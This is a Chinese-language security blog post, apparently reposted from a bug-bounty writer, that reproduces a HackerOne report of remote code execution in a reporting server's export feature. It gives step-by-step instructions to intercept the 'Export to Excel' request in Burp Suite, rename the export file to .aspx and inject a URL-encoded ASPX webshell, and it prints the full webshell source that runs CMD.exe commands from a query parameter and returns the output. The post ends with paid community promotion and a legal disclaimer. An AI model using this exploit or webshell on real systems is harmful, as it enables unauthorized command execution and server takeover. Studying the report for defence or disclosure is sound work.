文章总结: 本文详细复现了某报表系统的远程代码执行漏洞利用过程,通过拦截导出请求修改参数上传ASPX木马实现命令执行,并附有完整Payload代码和HackerOne参考链接。文章结尾包含知识星球付费推广内容。 综合评分: 52 文章分类: 漏洞分析,WEB安全,渗透测试,实战经验,安全工具
rce
原创
h1 h1
迪哥讲事
2026年4月8日 10:00 四川
rce
正文
复现步骤:
1.访问 ██████████ 并使用提供的凭据登录:█████
2.进入 ██████,然后向下滚动到 “Reports(报表)” 部分
3.选择任意一个报表并点击 “Run Report”
4.在弹出的窗口中再次点击 “Run Report”
5.页面会重定向到:
█████?rdNoShowWait=True 等待页面加载完成
操作
1.打开 Burp Suite 并开始拦截请求
2.在页面右上角点击 “Export to Excel”,并拦截发送到以下路径的 POST 请求:
/RServer/rdPage.aspx 修改请求参数: 将 rdReportFormat 和 rdExcelOutputFormat 修改为:
NativeExcel
将 rdExportFilename 修改为:
yourfilename.aspx 修改 POST 请求体: 将 rdReportName 参数修改为你的 URL 编码后的 ASPX shell(webshell):
(以下为原始 payload)
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%
// 实例化进程对象
System.Diagnostics.Process process = new System.Diagnostics.Process();
// 配置进程启动参数
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.UseShellExecute = false; // 禁用系统外壳执行
startInfo.RedirectStandardOutput = true; // 重定向命令输出(用于回显结果)
startInfo.FileName = "CMD.exe"; // 执行程序:Windows命令行
// 从URL请求参数中获取要执行的命令(参数名:68c2c8b1fc47766eaf43027a8eaca121)
string cmd = Request.QueryString["68c2c8b1fc47766eaf43027a8eaca121"];
startInfo.Arguments = "/c " + cmd; // 拼接CMD执行参数
process.StartInfo = startInfo;
process.Start(); // 启动进程执行命令
string output = process.StandardOutput.ReadToEnd(); // 读取命令执行结果
Response.Write(output); // 将结果返回给攻击者
process.WaitForExit(); // 等待命令执行完成
%>
参考
https://hackerone.com/reports/1072832
如果你是一个长期主义者,欢迎加入我的知识星球,本星球日日更新,包含号主大量一线实战,全网独一无二,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
往期回顾
#
如何利用ai辅助挖漏洞
#
如何在移动端抓包-下
#
如何绕过签名校验
#
一款bp神器
挖掘有回显ssrf的隐藏payload
ssrf绕过新思路
一个辅助测试ssrf的工具
dom-xss精选文章
年度精选文章
Nuclei权威指南-如何躺赚
漏洞赏金猎人系列-如何测试设置功能IV
漏洞赏金猎人系列-如何测试注册功能以及相关Tips
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:迪哥讲事 h1 h1《rce》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论